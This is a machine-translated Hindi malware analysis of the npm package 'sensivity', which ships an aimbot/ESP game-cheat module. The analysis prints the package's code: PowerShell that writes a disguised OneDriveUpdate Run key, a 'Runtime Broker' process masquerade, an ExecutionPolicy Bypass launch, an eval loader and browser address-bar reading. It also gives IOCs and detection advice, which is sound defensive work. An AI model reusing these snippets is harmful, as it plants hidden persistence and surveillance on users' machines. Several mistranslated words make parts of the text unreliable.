TL, डॉ
एनपीएम पैकेज संवेदनशीलता यह स्वयं को "सेंसिटिविटी कंट्रोल पैनल" के रूप में वर्णित करता है। विंडोज पर यह रिमोट कंट्रोल और निगरानी उपकरण के रूप में कार्य करता है।
इसका प्रवेश बिंदु, launcher.jsयह अपनी प्रक्रिया का नाम बदलकर रनटाइम ब्रोकर कर देता है और एक ऑटोस्टार्ट रन-की वैल्यू लिखता है जिसका नाम है OneDriveUpdate जो एक छिपे हुए VBScript के माध्यम से पैकेज को पुनः लॉन्च करता है, PowerShell को स्पॉन करता है। -ExecutionPolicy Bypassऔर फिर यह 171 केबी के अस्पष्ट सर्वर पेलोड के साथ-साथ 6.87 एमबी के नेटिव मॉड्यूल का मूल्यांकन करता है। sens.node.
यह टीसीपी पोर्ट 3000 पर एक फोन-पेयरिंग कंट्रोल पैनल प्रदान करता है और विंडोज यूआईऑटोमेशन के माध्यम से सक्रिय ब्राउज़र के एड्रेस-बार यूआरएल को पढ़ता है, साथ ही एक हार्ड-कोडेड यूट्यूब वीडियो की तलाश करता है।
पहले जो दो भाग ब्लैक बॉक्स के रूप में दिखाई दे रहे थे, अब उनका समाधान हो गया है। अस्पष्ट सर्वर, server.obf.jsयह obfuscator.io RC4 स्ट्रिंग-एरे स्कीम का उपयोग करता है; इसके डिकोडर को ऑफ़लाइन (बिना जावास्क्रिप्ट निष्पादित किए) पुनः लागू करने से एक एकल बाहरी एंडपॉइंट प्राप्त होता है। https://izopi.com/check.php — साथ ही हस्ताक्षरित लाइसेंस प्रतिक्रियाओं को सत्यापित करने के लिए उपयोग की जाने वाली एक अंतर्निहित RSA सार्वजनिक कुंजी भी शामिल है।
मूल मॉड्यूल, sens.nodeयह पैक नहीं किया गया है: इसकी आयात तालिका और एम्बेडेड स्ट्रिंग्स इसे डायरेक्टएक्स 11 / डियर इमगुई इन-गेम ओवरले के रूप में पहचानती हैं जो रिमोट-प्रोसेस इंजेक्शन और मेमोरी रीड/राइट द्वारा संचालित एमबॉट, ईएसपी (वॉल-हैक) और ट्रिगरबॉट सुविधाएँ प्रदान करता है।
इसके अंदर मौजूद स्ट्रिंग्स, GTA V / FiveM के अनुरूप वाहन एंटिटी और मैप लोकेशन को संदर्भित करती हैं। npm पैकेज उस नेटिव मॉड्यूल के चारों ओर डिलीवरी और परसिस्टेंस रैपर का काम करता है।
निर्णायक संकेत परिचालन संबंधी है, तकनीकी नहीं: एक गुमनाम प्रकाशक ने एक ही पैकेज के लगभग सत्तर संस्करण प्रकाशित किए। 2.5.0 के माध्यम से 2.5.69 कुछ दिनों के अंतराल में, प्रत्येक व्यक्ति एक ही लॉन्चर लेकर दौड़ रहा था।
कोई इंस्टॉलेशन नहीं है hooksपेलोड केवल पैकेज शुरू होने पर ही चलता है।
हमला: यह कैसे काम करता है
sensivity पैकेज में दस फाइलें शामिल हैं। package.json फ़ाइल संक्षिप्त है: इसमें कोई रिपॉजिटरी फ़ील्ड नहीं है, कोई लाइसेंस नहीं है, एक main और दो bin एलियास (sensivity, sens) हैं जो सभी launcher.js की ओर इशारा करते हैं, और node launcher.js की एक स्टार्ट स्क्रिप्ट है। इसमें कोई postinstall या preinstall नहीं है। npm install चलाने पर कुछ भी सक्रिय नहीं होता है। नीचे वर्णित व्यवहार तब होता है जब कोई उपयोगकर्ता पैकेज को शुरू करता है - चाहे bin shim, स्टार्ट स्क्रिप्ट या require के माध्यम से।
टारबॉल में लॉन्चर, एक ऑबफस्केटेड सर्वर, नेटिव मॉड्यूल, एक विजुअल बेसिक स्क्रिप्ट और कंट्रोल पैनल के लिए एक पब्लिक/वेब डायरेक्टरी शामिल है। launcher.js पठनीय ऑर्केस्ट्रेटर है; रनटाइम पर महत्वपूर्ण लॉजिक उन दो ब्लब्स में मौजूद है जिन्हें यह लोड करता है - एक ऑबफस्केटेड सर्वर और एक कंपाइल किया हुआ नेटिव मॉड्यूल, जिन्हें नीचे रिजॉल्व किया गया है।
प्रक्रिया छद्मवेश और एक नकली वनड्राइव अपडेटर
एक्जीक्यूशन के शुरुआती चरण में launcher.js अपने प्रोसेस का नाम दो बार सेट करता है:
javascript process.title = 'Runtime Broker'; रनटाइम ब्रोकर एक वैध विंडोज प्रक्रिया (RuntimeBroker.exe) है जो ऐप अनुमतियों को नियंत्रित करती है। नोड प्रक्रिया का नाम बदलकर इससे मेल खाने से टास्क मैनेजर में देखने पर कुछ भी असामान्य नहीं दिखता।
डेटा परसिस्टेंस को डायरेक्ट रजिस्ट्री एपीआई के बजाय पॉवरशेल के माध्यम से लिखा जाता है:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); ऑटोस्टार्ट वैल्यू का नाम OneDriveUpdate है, और यह सीधे पैकेज को इंगित नहीं करता है। यह wscript.exe को इंगित करता है जो बंडल किए गए OneDrive.Standalone.Updater.vbs को चलाता है। यह स्क्रिप्ट एक छिपी हुई विंडो में node launcher.js को पुनः लॉन्च करती है। रन-की नाम और VBScript फ़ाइल नाम दोनों Microsoft ब्रांडिंग का उपयोग करते हैं, इसलिए ऑटोस्टार्ट प्रविष्टि एक सामान्य OneDrive कार्य के रूप में पढ़ी जाती है।
एक्जीक्यूशन-पॉलिसी बाईपास के साथ पॉवरशेल
लॉन्चर बार-बार पॉवरशेल को कॉल करता है। स्कैनर्स द्वारा क्रिटिकल के रूप में चिह्नित सिंक, निष्पादन नीति अक्षम होने पर जेनरेट की गई .ps1 फ़ाइल का लॉन्च है:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass उस आह्वान के लिए स्थानीय स्क्रिप्ट-हस्ताक्षर जांच को हटा देता है। उत्पन्न स्क्रिप्ट अगले अनुभाग में वर्णित ब्राउज़र निगरानी और विंडो पहचान कार्य को संभालती हैं।
अस्पष्ट सर्वर और मूल मॉड्यूल
सेटअप के बाद, launcher.js अपना वास्तविक पेलोड लोड और निष्पादित करता है:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js 171 KB का _0x-array ऑबफस्केशन है — यह जावास्क्रिप्ट का वह पैटर्न है जिसमें प्रत्येक स्ट्रिंग और आइडेंटिफायर को एक शफल्ड ऐरे के इंडेक्स से बदल दिया जाता है, और फिर रनटाइम पर उसे डी-रेफरेंस कर दिया जाता है। यह स्कीम obfuscator.io द्वारा निर्मित RC4 वेरिएंट है: एक सिंगल डिकोडर फंक्शन ऐरे एंट्री को बेस64-डिकोड करता है और फिर उसे प्रति-कॉल कुंजी के साथ RC4-डिक्रिप्ट करता है। उस डिकोडर को एक अलग स्क्रिप्ट में फिर से लागू करने पर — केवल निकाले गए 821-एंट्री स्ट्रिंग ऐरे पर पुनः लागू किए गए संस्करण को चलाने पर, पैकेज के अपने जावास्क्रिप्ट को कभी नहीं चलाने पर — यह साफ-सुथरा अनवाइंड हो जाता है। जो सामने आता है वह मामूली है लेकिन विस्तृत है।cisive: एक बाहरी URL, `https://izopi.com/check.php`, जिसे LICENSE_URL स्थिरांक को सौंपा गया है; एक एम्बेडेड RSA `PUBLIC_KEY_PEM`; स्थानीय पैनल रूट /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, और /trigger/status; और स्ट्रिंग्स child_process, crypto, और [Sensivity] sens.node loaded — आखिरी स्ट्रिंग वही लॉग लाइन है जिसे लॉन्चर प्रोग्राम मॉड्यूल लोडेड में बदल देता है। एंडपॉइंट एक लाइसेंस चेक है: क्लाइंट एक पहचानकर्ता पोस्ट करता है (ऑबफस्केटेड सर्वर एक Discord ID: %s स्ट्रिंग को फॉर्मेट करता है) और RSA कुंजी सर्वर के हस्ताक्षरित प्रतिक्रिया को सत्यापित करती है।
sens.node एक 6.87 MB का कंपाइल किया हुआ नेटिव ऐडऑन है, और यह पैक्ड नहीं है — सेक्शन एंट्रॉपी 5.6–6.6 पर है और PE आयात और निर्यात तालिकाएँ बरकरार हैं, इसलिए इसकी क्षमताएँ सीधे पठनीय हैं। यह napi_register_module_v1 को निर्यात करता है, standard Node N-API का प्रवेश बिंदु है, इसलिए मूल्यांकन किया गया सर्वर इसे एक सामान्य आवश्यकता के साथ लोड करता है। इसकी आयात तालिका ही इसकी पहचान है। KERNEL32 से यह OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules और Process32First/NextW को खींचता है - जो किसी अन्य प्रक्रिया का पता लगाने, उसमें मेमोरी आवंटित करने और उस मेमोरी को पढ़ने या लिखने के लिए मानक सेट है। USER32 से यह GetAsyncKeyState, GetKeyState, mouse_event और SetCursorPos को खींचता है; यह ऑन-स्क्रीन ओवरले के लिए d3d11.dll, D3DCOMPILER_43 और dwmapi को लिंक करता है, और नेटवर्क कॉल के लिए पूर्ण WINHTTP सेट को लिंक करता है। इसमें अंतर्निहित स्ट्रिंग्स स्पष्ट रूप से फीचर सेट के नाम बताती हैं: एम्बॉट सक्षम करें, एम्बॉट एफओवी, बॉक्स ईएसपी, स्केलेटन ईएसपी, ट्रिगरबॉट, ईएसपी बिल्डर, वाहन ईएसपी, इलेक्ट्रॉन एंटीचीट का पता चला, और डियर इमगुई बैनर डियर इमगुई 1.91.3 डब्ल्यूआईपी। स्थान और इकाई स्ट्रिंग्स जैसे कि ग्रेपसीड मेडिकल क्लिनिक और वाहन-ईएसपी शब्दावली जीटीए वी / फाइवएम के अनुरूप हैं।
यह विभाजन जानबूझकर किया गया है: पठनीय launcher.js में केवल वे भाग होते हैं जिन्हें स्कैनर आसानी से पढ़ सकता है — परसिस्टेंस, मास्क्वेरेड, और स्वयं इवैल कॉल — जबकि ऑबफस्केशन रनटाइम द्वारा संपर्क किए जाने वाले एकमात्र बाहरी होस्ट को छुपाता है, और बाइनरी में गेम-ओवरले और प्रोसेस-इंजेक्शन लॉजिक होता है। लॉन्चर एक पतला, ऑडिट करने योग्य शेल है; ऑबफस्केटेड सर्वर नेटवर्क पहचान को छुपाता है; नेटिव मॉड्यूल पेलोड है। हम बाइनरी के इंपोर्ट्स और स्ट्रिंग्स को पठनीय मानते हैं; हम उनसे ऑपरेटर के उद्देश्य का अनुमान नहीं लगाते हैं।
पोर्ट 3000 पर एक फ़ोन पेयरिंग कंट्रोल पैनल
लॉन्चर TCP पोर्ट 3000 पर एक स्थानीय वेब सर्वर का प्रबंधन करता है और इसे एक सिंगलटन के रूप में मानता है। यह बाइंडिंग से पहले एक मौजूदा लिसनर की जाँच करता है और उसे साफ़ कर देता है:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); यह पैनल http://localhost:3000 पर उपलब्ध है, और इसके लिए एक हार्ड-कोडेड LAN फ़ॉलबैक URL http://192.168.1.16:3000 निर्धारित किया गया है। public/ डायरेक्टरी और पैनल का व्यवहार QR-पेयरिंग प्रक्रिया के अनुरूप है: एक फ़ोन कोड स्कैन करता है और होस्ट से रिमोट के रूप में जुड़ जाता है। लॉन्चर में कोई बाहरी कमांड-एंड-कंट्रोल डोमेन स्पष्ट रूप से दिखाई नहीं देता है — लेकिन, जैसा कि ऊपर दिए गए डीओबफस्केशन से पता चलता है, एक डोमेन ओबफस्केटेड सर्वर में मौजूद है: izopi.com लाइसेंस एंडपॉइंट। पैनल स्वयं स्थानीय और LAN-स्कोप वाला है; एकमात्र आउटबाउंड होस्ट वह लाइसेंस चेक है।
एक पृथक पर्यवेक्षक/कार्यकर्ता मॉडल प्रक्रिया को चालू रखता है। लॉन्चर SENSIVITY_SUPERVISOR और SENSIVITY_WORKER पर्यावरण ध्वजों के साथ स्वयं को पुनः उत्पन्न करता है, प्रत्येक चाइल्ड प्रक्रिया गुप्त रूप से चलती है, इसलिए एक प्रक्रिया को समाप्त करने पर एक निगरानी इकाई उसे पुनः आरंभ करने के लिए मौजूद रहती है।
ब्राउज़र निगरानी और यूट्यूब सिग्नल
सबसे विशिष्ट व्यवहार ब्राउज़र मॉनिटरिंग है। launcher.js पॉवरशेल का निर्माण करता है जो विंडोज UIAutomation को सक्रिय ब्राउज़र के एड्रेस बार को पढ़ने के लिए प्रेरित करता है:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern एक UI एलिमेंट की टेक्स्ट सामग्री लौटाता है। ब्राउज़र के एड्रेस-बार एडिट कंट्रोल पर लागू करने पर, यह उस URL को लौटाता है जिसे पीड़ित ब्राउज़र वर्तमान में देख रहा है — बिना किसी ब्राउज़र एक्सटेंशन, डिस्क पर प्रोफ़ाइल को छुए और बिना किसी API हुक के। जेनरेट किया गया स्क्रिप्ट $browserNames सूची पर इटरेट करता है और जो भी ब्राउज़र फ़ोरग्राउंड में होता है, उसका URL या विंडो टाइटल निकालता है।
उस यूआरएल का परीक्षण एक ही हार्ड-कोडेड लक्ष्य के विरुद्ध किया जाता है:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; लॉन्चर तीन सेकंड के अंतराल पर YouTube दिखाने वाली ब्राउज़र विंडो की जाँच करता है, और जेनरेट की गई PowerShell फ़ाइल में Get-YouTubeBrowser / Test-TargetYouTubeUrl कमांड का एक जोड़ा होता है जो उस वीडियो ID से मेल खाता है। इसका दोहरा प्रभाव दिखाई देता है: पीड़ित की स्क्रीन से सक्रिय ब्राउज़िंग URL पढ़ा जाता है, और होस्ट द्वारा किसी विशिष्ट YouTube वीडियो के साथ की गई गतिविधि का पता लगाया जाता है। हम इस प्रक्रिया और लक्ष्य का वर्णन कर रहे हैं; हम इनसे किसी उद्देश्य का अनुमान नहीं लगा रहे हैं।
एड्रेस बार से प्राप्त डेटा को स्कैनर sensitive_data_enumeration के रूप में लेबल करता है — यह एक Process::env और UIAutomation स्रोत है जो नेटवर्क-सक्षम रनटाइम को डेटा फीड करता है। यह देखने में हानिरहित लगता है, लेकिन UIAutomation स्रोत से लेकर अस्पष्ट सर्वर तक डेटा जीवनचक्र का पता लगाने के बाद ही यह निगरानी में परिणत होता है।
समयरेखा और संस्करण विकास
संवेदनशीलता एक बार का अपलोड नहीं है। प्रकाशक खाते में इस एक पैकेज के लगभग सत्तर प्रकाशित संस्करण हैं, और समीक्षा अवधि के दौरान नए संस्करण आते रहे। लॉन्चर 2.5.x लाइन में धीरे-धीरे सुविधाओं से समृद्ध होता जाता है, जबकि इसकी निरंतरता और पेलोड लोडिंग स्थिर रहती है।
| दिनांक (UTC) | देखे गए संस्करण | लॉन्चर की स्थिति |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | बेसिक क्यूआर-पैनल लॉन्चर; रन-की परसिस्टेंस; ऑबफस्केटेड सर्वर का मूल्यांकन। |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | समान फिंगरप्रिंट; कंसोल-ट्रेस दमन। |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | पिन किए गए YouTube एंगेजमेंट लक्ष्य को जोड़ता है wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | श्रेणी भर में अंतराल भरना और पुनः प्रकाशित करना; पर्यवेक्षक/कर्मचारी निगरानीकर्ता। |
डाउनलोड किए गए संस्करणों (2.5.0, 2.5.36 और 2.5.69) में लॉन्चर को पढ़ने से चार स्तर दिखाई देते हैं। सबसे शुरुआती बिल्ड में बेसिक QR-पेयरिंग लॉन्चर होता है। 2.5.33 से UIAutomation एड्रेस-बार हार्वेस्टर दिखाई देने लगता है। 2.5.58 से एक सुपरवाइजर-मैनेजमेंट लेयर जुड़ जाती है। 2.5.64 से डिटैच्ड सुपरवाइजर/वर्कर वॉचडॉग इस सेट को पूरा करता है। इन सभी में चार चीजें कभी नहीं बदलतीं: OneDriveUpdate Run key, OneDrive.Standalone.Updater.vbs ड्रॉपर, eval'd server.obf.js और sens.node नेटिव मॉड्यूल।
2026-06-05 का अपडेट इसलिए खास है क्योंकि इसमें 2.5.0 से 2.5.15 तक के उन पुराने वर्ज़नों को दोबारा प्रकाशित किया गया है जो कुछ दिन पहले पुष्टि किए गए वर्ज़नों से नीचे आते हैं। इसका नतीजा यह हुआ कि रजिस्ट्री में लगातार 2.5.x की एक लाइन बन गई, और हर वर्ज़न में एक ही लॉन्चर है।
समझौते के संकेतक
नीचे दिए गए सभी संकेतक सीधे पैकेज टारबॉल से पढ़े गए थे। पठनीय लॉन्चर में केवल लूपबैक और एक निजी लैन पता होता है; एकमात्र बाहरी होस्टनाम, izopi.com, को server.obf.js को ऑफ़लाइन डीओबफस्केट करके प्राप्त किया गया था।
| प्रकार | सूचक | नोट्स |
|---|---|---|
| पैकेज | npm:sensivity (लगभग 70 संस्करण, 2.5.0-2.5.69) | एकल-पैकेज प्रकाशक; कोई रिपॉजिटरी नहीं; बिना लाइसेंस के। |
| पट्टिका | launcher.js | पठनीय ऑर्केस्ट्रेटर; मुख्य और बिन लक्ष्य। |
| पट्टिका | server.obf.js (लगभग 171 केबी) | obfuscator.io RC4 स्ट्रिंग-एरे पेलोड, जिसे लोड किया गया है eval(fs.readFileSync(...)). |
| पट्टिका | sens.node (लगभग 6.87 एमबी) | PE32+ x86-64 नोड एन-एपीआई ऐडऑन; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| पट्टिका | OneDrive.Standalone.Updater.vbs | छिपा हुआ पुनः लॉन्चर (node launcher.js). |
| नेटवर्क | https://izopi.com/check.php | लाइसेंस/प्रमाणीकरण एंडपॉइंट को अस्पष्ट सर्वर से पुनर्प्राप्त किया गया; एम्बेडेड RSA सार्वजनिक कुंजी प्रतिक्रियाओं को सत्यापित करती है। |
| क्षमता | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | रिमोट-प्रोसेस इंजेक्शन और मेमोरी रीड/राइट क्षमता। |
| क्षमता | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui गेम ओवरले जो एमबॉट, ESP और ट्रिगरबॉट सुविधाओं को लागू करता है। |
| रजिस्ट्री | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | ऑटोस्टार्ट मान इंगित कर रहा है wscript.exe और VBScript लॉन्चर। |
| प्रक्रिया | process.title = 'Runtime Broker' | यह वैध विंडोज रनटाइम ब्रोकर प्रक्रिया के रूप में छद्मवेश धारण करता है। |
| व्यवहार | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | जनरेट किए गए पॉवरशेल स्क्रिप्ट के लिए निष्पादन-नीति बाईपास का उपयोग किया गया। |
| व्यवहार | UIAutomation ValuePattern ब्राउज़र एड्रेस बार को पढ़ना | यह सामने चल रही ब्राउज़र विंडो के URL को पढ़ता है। |
| व्यवहार | लक्ष्य वीडियो आईडी wJWta2lO0Lw3 सेकंड का यूट्यूब पोल | पिन किया गया एंगेजमेंट-मॉनिटरिंग सिग्नल। |
| नेटवर्क | http://localhost:3000, मैदान छोड़ना http://192.168.1.16:3000 | क्यूआर-पेयरिंग कंट्रोल पैनल स्थानीय रूप से और लैन पर उपलब्ध है। |
| वातावरण | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | पृथक निगरानी प्रक्रिया समन्वय ध्वज। |
श्रेय, प्रभाव और रक्षक
यह पैकेज एक ही npm खाते द्वारा प्रकाशित किया गया है, जिसका ईमेल पता एक अविश्वसनीय Gmail पता है। इस खाते का रजिस्ट्री में प्रतिष्ठा स्कोर बेहद नकारात्मक है, यह केवल इसी एक पैकेज का रखरखाव और प्रकाशन करता है, और इसका कोई संबद्ध स्रोत भंडार नहीं है। हमने ईमेल के स्वामित्व की पुष्टि नहीं की है और हम इस अभियान का श्रेय प्रकाशक खाते को देते हैं, न कि किसी नामित व्यक्ति को। लॉन्चर में कोई स्पष्ट पाठ संरचना नहीं है, लेकिन एकमात्र बाहरी होस्ट अब ज्ञात है: अस्पष्ट सर्वर लाइसेंस जांच के लिए izopi.com से संपर्क करता है, और मूल मॉड्यूल - जिसे निर्देश-दर-निर्देश उलटने के बजाय इसकी आयात तालिका और स्ट्रिंग्स से पढ़ा जाता है - एक गेम ओवरले है जो किसी अन्य प्रक्रिया की मेमोरी में प्रवेश करता है और उसे पढ़ता है।
इसका सीधा असर उन विंडोज़ उपयोगकर्ताओं पर पड़ता है जो कंट्रोल पैनल यूटिलिटी की उम्मीद में इसे इंस्टॉल और रन करते हैं। इन होस्ट्स पर, यह पैकेज एक OneDrive टास्क के रूप में ऑटोस्टार्ट परसिस्टेंस स्थापित करता है, सिस्टम प्रोसेस जैसा दिखने के लिए अपना नाम बदल लेता है, उपयोगकर्ता द्वारा ब्राउज़ की जा रही किसी भी चीज़ का URL पढ़ता है, और एक पेयरिंग पैनल बनाता है जो मशीन को लोकल नेटवर्क पर किसी रिमोट से जोड़ता है। सुपरवाइज़र/वर्कर वॉचडॉग का मतलब है कि किसी एक प्रोसेस को बंद करने से यह हटता नहीं है; रन-की एंट्री रीबूट के बाद भी बनी रहती है। macOS और Linux इस लॉन्चर द्वारा लक्षित नहीं हैं — परसिस्टेंस, पॉवरशेल और UIAutomation पाथ केवल विंडोज़ के लिए हैं।
सत्तर संस्करणों का यह निरंतर पुनर्प्रकाशन एक चिंताजनक प्रवृत्ति है। कुछ ही दिनों में एक ही पैकेज को दर्जनों बार पुनः प्रकाशित करना, जिसमें हटाए गए संस्करणों से नीचे के संस्करणों को भी पुनः भरना शामिल है, रजिस्ट्री पर पैकेज की एक सक्रिय प्रति बनाए रखता है और संस्करणों के आधार पर निर्धारित ब्लॉकलिस्ट को विफल कर देता है। sensivity@2.5.61 के लिए ब्लॉकलिस्ट प्रविष्टि अगले दिन पुनः प्रकाशित sensivity@2.5.3 के विरुद्ध कोई कार्रवाई नहीं करती।
बचाव पक्ष निम्नलिखित आधारों पर कार्रवाई कर सकता है:
- रजिस्ट्री-प्रॉक्सी और CI अलाउलिस्ट में पैकेज नाम की संवेदनशीलता को पूरी तरह से ब्लॉक करें। अलग-अलग संस्करणों को पिन करना पुनर्प्रकाशन की गति के आगे बेकार हो जाता है; नाम ही टिकाऊ संकेतक है।
- OneDriveUpdate नामक एक Run वैल्यू खोजें जिसका डेटा प्रति-उपयोगकर्ता पथ में मौजूद .vbs फ़ाइल के विरुद्ध wscript.exe को कॉल करता हो। असली OneDrive अपडेटर इस तरह से पंजीकृत नहीं होता है।
- Node.js प्रोसेस के बारे में अलर्ट जारी किया गया है जिसका process.title Runtime Broker है। असल ब्रोकर RuntimeBroker.exe है, Node रनटाइम नहीं।
- उन पैकेजों के npm install-time fetches को चिह्नित करें जिनमें एक संकलित .node ऐडऑन और साथ ही एक संबंधित .obf.js फ़ाइल का eval(fs.readFileSync(…)) शामिल है। यह संयोजन — एक अस्पष्ट टेक्स्ट पेलोड के साथ लोड किया गया अपारदर्शी नेटिव बाइनरी — यहाँ संरचनात्मक संकेत है, जो किसी भी स्ट्रिंग IOC से स्वतंत्र है।
- किसी अप्रत्याशित नोड प्रक्रिया द्वारा पोर्ट 3000 पर उत्पन्न होने वाले किसी भी स्थानीय रूप से बाध्य श्रोता को प्रबंधित विंडोज एंडपॉइंट पर संदिग्ध मानें।
- डेवलपर या अंतिम-उपयोगकर्ता होस्ट से izopi.com पर भेजे जाने वाले आउटबाउंड अनुरोधों को ब्लॉक करें या उन पर अलर्ट भेजें; यह पैकेज का एकमात्र बाहरी एंडपॉइंट है, जो ऑबफस्केटेड सर्वर से /check.php पर पहुँचा जा सकता है।
- किसी भी बंडल किए गए .node ऐडऑन के लिए, उस पर भरोसा करने से पहले उसकी आयात तालिका की जांच करें। OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread का संयोजन रिमोट-प्रोसेस इंजेक्शन है, चाहे पैकेज कुछ भी करने का दावा करे; यहां यह Direct3D ओवरले और aimbot/ESP/triggerbot स्ट्रिंग्स के साथ मौजूद है।
स्थैतिक विश्लेषण के लिए pipelineइस प्रकार, संस्करण परिवर्तन के बावजूद, दृढ़ विश्वास का स्वरूप स्थिर रहता है: एक गैर-नेटवर्क इंस्टॉलेशन प्रोफ़ाइल, एक ज्ञात सिस्टम-प्रक्रिया नाम को प्रक्रिया-शीर्षक का निर्धारण, पॉवरशेल के माध्यम से रन-की राइट, और डिस्क से पढ़ी गई फ़ाइल का मूल्यांकन। इनमें से कोई भी डोमेन, आईपी या संस्करण संख्या पर निर्भर नहीं करता है जिसे अगले पुनर्प्रकाशन में बदला जा सके।
संदर्भ
[एनपीएम: संवेदनशीलता] – यहाँ चर्चा की गई पैकेज संस्करण पंक्ति के लिए रजिस्ट्री पृष्ठ; हटाए जाने के अधीन।





